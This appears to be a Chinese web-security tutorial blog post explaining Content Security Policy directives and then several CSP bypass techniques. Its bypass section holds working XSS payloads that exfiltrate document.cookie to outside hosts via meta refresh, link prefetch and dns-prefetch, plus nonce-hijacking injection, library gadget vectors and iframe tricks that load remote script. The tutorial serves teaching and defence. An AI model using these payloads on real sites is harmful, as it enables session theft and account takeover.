这是自己写的 Web 安全从零开始系列之 XSS 篇。第三篇讲解 CSP 与 XSS
[TOC]
CSP(Content Security Policy)
介绍
CSP 全称为 Content Security Policy,即内容安全策略。主要以白名单的形式配置可信任的内容来源,在网页中,能够使白名单中的内容正常执行(包含 JS,CSS,Image 等等),而非白名单的内容无法正常执行,从而减少跨站脚本攻击(XSS),当然,也能够减少运营商劫持的内容注入攻击。
为使CSP可用, 你需要配置你的网络服务器返回 Content-Security-Policy
HTTP头部 ( 有时你会看到一些关于X-Content-Security-Policy
头部的提法, 那是旧版本,你无须再如此指定它)。
除此之外, <meta>
元素也可以被用来配置该策略, 例如
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
语法组成
策略组成
CSP 有两种策略类型:
- Content-Security-Policy
- Content-Security-Policy-Report-Only
这两种策略类型的主要区别也可以从命名上看出,第一种对不安全的资源会进行阻止执行,而第二种只会进行数据上报,不会有实际的阻止。 当定义多个策略的时候,浏览器会优先采用最先定义的。
指令集合
CSP 的指令是组成内容来源白名单的关键,上面两种策略类型含有以下众多指令,可以通过搭配得到满足网站资源来源的白名单。
指令示例及说明
指令 | 取值示例 | 说明 |
---|---|---|
default-src | ‘self’ cdn.example.com | 定义针对所有类型(js/image/css/web font/ajax/iframe/多媒体等)资源的默认加载策略,某类型资源如果没有单独定义策略,就使用默认。 |
script-src | ‘self’ js.example.com | 定义针对JavaScript的加载策略 |
object-src | ‘self’ | 针对<object> /<embed> /<applet> 等标签的加载策略 |
style-src | ‘self’ css.example.com | 定义针对样式的加载策略 |
img-src | ‘self’ image.example.com | 定义针对图片的加载策略 |
media-src | ‘media.example.com’ | 针对或者引入的html多媒体等标签的加载策略 |
frame-src | ‘self’ | 针对iframe的加载策略 |
connect-src | ‘self’ | 针对Ajax、WebSocket等请求的加载策略。不允许的情况下,浏览器会模拟一个状态为400的响应 |
font-src | font.qq.com | 针对Web Font的加载策略 |
sandbox | allow-forms allow-scripts | 对请求的资源启用sandbox |
report-uri | /some-report-uri | 告诉浏览器如果请求的资源不被策略允许时,往哪个地址提交日志信息。不阻止任何内容,可以改用Content-Security-Policy-Report-Only头 |
base-uri | ‘self’ | 限制当前页面的url(CSP2) |
child-src | ‘self’ | 限制子窗口的源(iframe、弹窗等),取代frame-src(CSP2) |
form-action | ‘self’ | 限制表单能够提交到的源(CSP2) |
frame-ancestors | ’none’ | 限制了当前页面可以被哪些页面以iframe,frame,object等方式加载(CSP2) |
plugin-types | application/pdf | 限制插件的类型(CSP2) |
指令值示例及说明
指令值 | 示例 | 说明 |
---|---|---|
* | img-src * | 允许任何内容 |
’none’ | img-src ’none’ | 不允许任何内容 |
‘self’ | img-src ‘self’ | 允许同源内容 |
data: | img-src data: | 允许data:协议(如base64编码的图片) |
www.a.com | img-src www.a.com | 允许加载指定域名的资源 |
*.a.com | img-src *.a.com | 允许加载a.com任何子域的资源 |
https://img.com | img-src https://img.com | 允许加载img.com的https资源 |
https: | img-src https: | 允许加载https资源 |
‘unsafe-inline’ | script-src ‘unsafe-inline’ | 允许加载inline资源(style属性,onclick,inline js和inline css等等) |
‘unsafe-eval’ | script-src ‘unsafe-eval’ | 允许加载动态js代码,例如eval() |
script-src
有几个特性:
- ‘unsafe-inline’:允许执行页面内嵌的
<script>
标签和事件监听函数 - unsafe-eval:允许将字符串当作代码执行,比如使用
eval
、setTimeout
、setInterval
和Function
等函数。 - nonce值:每次HTTP回应给出一个授权token,页面内嵌脚本必须有这个token,才会执行
- hash值:列出允许执行的脚本代码的Hash值,页面内嵌脚本的哈希值只有吻合的情况下,才能执行。
页面内嵌脚本,必须有这个token才能执行。
<script nonce=EDNnf03nceIOfn39fn3e9h3sdfa>
// some code
</script>
hash值的例子如下,服务器给出一个允许执行的代码的hash值。
Content-Security-Policy: script-src 'sha256-qznLcsROx4GACP2dm0UCKCzCG-HiZ1guq6ZZDob_Tng='
下面的代码就会允许执行,因为hash值相符。
<script>alert('Hello, world.');</script>
这里可以用以下命令得到这段 hash
$ echo -n "alert('Hello, world.');" | openssl dgst -binary -sha256 | openssl base64
qznLcsROx4GACP2dm0UCKCzCG+HiZ1guq6ZZDob/Tng=
使用方式
HTML Meta 标签
在这种形式中,Meta 标签主要含有两部分的 key-value:
- http-equiv
- content
http-equiv 的 value 为 CSP 的策略类型,而 content 则是声明指令集合,即白名单。如
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
在HTML 的 head 中 添加上面的 Meta 标签,那么当浏览器支持 CSP 标准时,由于使用的是 Content-Security-Policy 实际阻止的策略,所以将会使得非同源的 script(根据指令集合来定)不会被加载及执行。
Meta 标签的 Content-Security-Policy-Report-Only 方式在当前(2016/5/19)多数移动端浏览器上表现正常,但是 不推荐 这样做,如 chrome 50 会产生如下的提示
The report-only Content Security Policy xxxxxxx was delivered via a element,which is disallowed. The policy has been ignored.
HTTP Header
通过 Meta 的方式很是简单,但当涉及到的页面较多时,使用 Meta 标签的方式需要在每个页面都各自加上。而如果通过服务端配置 HTML 返回的响应头 HTTP header 带上 CSP 的指令的话,那将能够一劳永逸,同时支持多个页面。下图为响应头
不仅如此,这种形式的 Content-Security-Policy-Report-Only 方式能够得到更好的兼容支持,也是推荐方式。
绕过方式
建议参考CSP Level 3浅析&简单的bypass,这里我们简述几种情况下的绕过方式
url 跳转
在default-src 'none'
的情况下,可以使用<meta>
标签实现跳转
<meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >
在允许unsafe-inline
的情况下,可以用window.location
,或者window.open
之类的方法进行跳转绕过。
<link>标签预加载
prefetch
CSP对link标签的预加载功能考虑不完善,一般是通过 link 标签来实现预加载的指令
在 Chrome 下,可以使用如下标签发送 cookie(最新版Chrome会禁止)
<link rel="prefetch" href="http://www.xss.com/x.php?c=[cookie]">
虽然在标签内不能拿 cookie ,但是如果可以执行内联 js 的话,情况就不一样了
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';
如果头像上面那样的话,我们可以用以下 payload
<script>
var i=document.createElement('link');
i.setAttribute('rel','prefetch');
i.setAttribute('href','http://xxx.com?'+document.cookie);
document.head.appendChild(i);
</script>
dns-prefetch
在 Firefox 下,可以将 cookie 作为子域名,用 dns 预解析的方式把 cookie 带出去,查看dns服务器的日志就能得到 cookie
<link rel="dns-prefetch" href="//[cookie].xxx.ceye.io">
同样想要在
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';
这种情况下收获 Cookie 的话
<script>
dcl = document.cookie.split(";");
n0 = document.getElementsByTagName("HEAD")[0];
for (var i=0; i<dcl.length;i++)
{
console.log(dcl[i]);
n0.innerHTML = n0.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + escape(dcl[i].replace(/\//g, "-")).replace(/%/g, "_") + '.' + location.hostname.replace(/\./g, "-") + ".xxxx.ceye.io\">";
}
</script>
因为域名的命名规则是 [.-a-zA-Z0-9]+,所以需要对一些特殊字符进行替换
preconnect
preconnect(预连接),与 DNS预解析 类似,但它不仅完成 DNS 预解析,还进行 TCP 握手和 TLS 协商
利用方式和上面类似
利用浏览器补全
有些网站限制只有某些脚本才能使用,往往会使用<script>
标签的 nonce 属性,只有 nonce 一致的脚本才生效,比如 CSP 设置成下面这样:
Content-Security-Policy: default-src 'none';script-src 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa'
那么当脚本插入点为如下的情况时
<p>插入点</p>
<script id="aa" nonce="abc">document.write('CSP');</script>
可以插入
<script src=//14.rs a="
这样会拼成一个新的script标签,其中的src可以自由设定
<p><script src=//14.rs a="</p>
<script id="aa" nonce="EDNnf03nceIOfn39fn3e9h3sdfa">document.write('CSP');</script>
代码重用
例如假设页面中使用了 Jquery-mobile 库,并且CSP策略中包含script-src 'unsafe-eval'
或者script-src 'strict-dynamic'
,那么下面的向量就可以绕过CSP:
<div data-role=popup id='<script>alert(1)</script>'></div>
在这个PPT之外的还有一些库也可以被利用,例如RCTF2018中遇到的amp库,下面的标签可以获取名字为FLAG的cookie
<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>
iframe
如果页面A中有CSP限制,但是页面B中没有,同时A和B同源,那么就可以在A页面中包含B页面来绕过CSP:
<iframe src="B"></iframe>
在Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御,例如"http://xxx“页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js库。
<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>
meta
meta 标签有一些不常用的功能有时候有奇效:
meta 可以控制缓存(在header没有设置的情况下),有时候可以用来绕过CSP nonce。
<meta http-equiv="cache-control" content="public">
meta可以设置Cookie(Firefox下),可以结合 self-xss 利用。
<meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21 GMT; path=/">
Examples
Example 1、2 可以参考Neatly bypassing CSP
Example 1
假设服务器设置了以下 CSP 策略
<meta http-equiv="Content-Security-Policy" content="default-src 'self' 'unsafe-inline'">
设置了允许同源与 inline 资源,来自外部源的所有内容会被拦截,其中包括图像、CSS、websockets,尤其是 JS 代码。
显然如果我们直接用以下代码是肯定会被 CSP 拦截的
<script>
frame=document.createElement("iframe");
frame.src="//bo0om.ru/csp.js";
document.body.appendChild(frame);
</script>
但是我们需要知道一点
Most of the modern browser automatically convert files, such as text files or images, to an HTML page.
The reason for this behavior is to correctly depict the content in the browser window; it needs to have the right background, be centered and so on. However, iframe is also a browser window!. Thus, opening any file that needs to shown in a browser in an iframe (i.e. favicon.ico or robots.txt) will immediately convert them into HTML without any data validation as long as the content-type is right.
怎么说呢,比如我们先随便创建一个 html 文件,代码如下
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
<meta http-equiv="Content-Security-Policy" content="default-src 'self' 'unsafe-inline'">
</head>
<body>
<script>
frame=document.createElement("iframe");
frame.src="./bootstrap.min.css";
document.body.appendChild(frame);
</script>
</body>
</html>
当前目录下随便放置一个文件提供引入即可,然后我们可以发现iframe
当中其实就是个 html 页面
然后我们尝试对其进行修改
window.frames[0].document.head.innerHTML = "hasaki!";
我们就可以在iframe
的页面中发现<head>
标签内容已经被我们改成了hasaki!
做到这里,我们基本可以想到,如果我们引用的是一个没有 CSP 策略的地址含有恶意的 js 代码会怎么样呢?我们可以试一下
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
<meta http-equiv="Content-Security-Policy" content="default-src 'self' 'unsafe-inline'">
</head>
<body>
<script>
f=document.createElement("iframe");
f.id="pwn";
f.src="/robots.txt";
f.onload=()=>{
x=document.createElement('script');
x.src='//bo0om.ru/csp.js';
pwn.contentWindow.document.body.appendChild(x)
};
document.body.appendChild(f);
</script>
</body>
</html>
Csp.js 中的代码为
alert('Wow! Origin: '+location.origin+'\nUrl: '+top.location.href+'?');
可以发现执行了 javascript 代码
Example 2
讲例2之前我们先来看一个 HTTP 头中的 X-Frame-Options
字段
X-Frame-Options HTTP 响应头是用来给浏览器指示允许一个页面可否在
<frame>
,<iframe>
或者<object>
中展现的标记。网站可以使用此功能,来确保自己网站的内容没有被嵌到别人的网站中去,也从而避免了点击劫持 (clickjacking) 的攻击。X-Frame-Options 有三个值:
DENY
表示该页面不允许在 frame 中展示,即便是在相同域名的页面中嵌套也不允许。
SAMEORIGIN
表示该页面可以在相同域名页面的 frame 中展示。
ALLOW-FROM *uri*
表示该页面可以在指定来源的 frame 中展示。
换一句话说,如果设置为
DENY
,不光在别人的网站frame
嵌入时会无法加载,在同域名页面中同样会无法加载。另一方面,如果设置为SAMEORIGIN
,那么页面就可以在同域名页面的frame
中嵌套。
如果那个页面配置了X-Frame-Options: Deny
的话,如果我们还用例1的方法,我们就不能通过这个页面来使用例1的方法,那如果我们只能用这个页面有什么方法呢?
我们还是在之前的 CSP 策略下
<meta http-equiv="Content-Security-Policy" content="default-src 'self' 'unsafe-inline'">
一般来说很多开发人员只在页面响应码为 200 时增加了X-Frame-Options
,而一般错误页面被认为是可以不那么关注的页面,毕竟只是静态页面,不会有什么太多的问题,所以一般错误页面不会被设置X-Frame-Options
字段,检测方法也很简单,打开一个 404 页面查看有没有设置该请求头就可以了。
鉴于此,我们还可以设法让网站返回错误页面。例如,为了强制 NGINX 返回400 bad request
,你唯一需要做的,就是使用/../
访问其上一级路径中的资源。为防止浏览器对请求进行规范化处理,导致/../
被/
所替换,对于中间的两个点号和最后一个斜线,我们可以使用 unicode 码来表示。也可以使用不正确的 unicode 路径,如/%z
或/%%z
。
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);
当然,如果以上不可用的话,我们可以利用比较简单也比较普遍的另一种方法,就是让 URL 超过所允许的长度。大多数现代浏览器都可以发送一个比 Web 服务器可以处理的长得多的 URL 。这样返回状态为414 Request-URI Too Large
例如, NGINX 和 Apache 等 Web 服务器的默认 URL 长度通常被设置为不超过 8KB 。可以使用如下 payload:
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);
也可以使用超长的 cookie 来使服务器返回错误
<script>
for(var i=0;i<5;i++){
document.cookie=i+"="+"a".repeat(4000)
};
f=document.createElement("iframe");
f.id="pwn";
f.src="/";
f.onload=()=>{
for(var i=0;i<5;i++){
document.cookie=i+"="
};
x=document.createElement('script');
x.src='data:,alert("Pwned "+top.secret.textContent)';
pwn.contentWindow.document.body.appendChild(x)
};
document.body.appendChild(f);
</script>
也可以发送一个过长的 POST 请求,或者以某种方式引发 Web 服务器的500错误。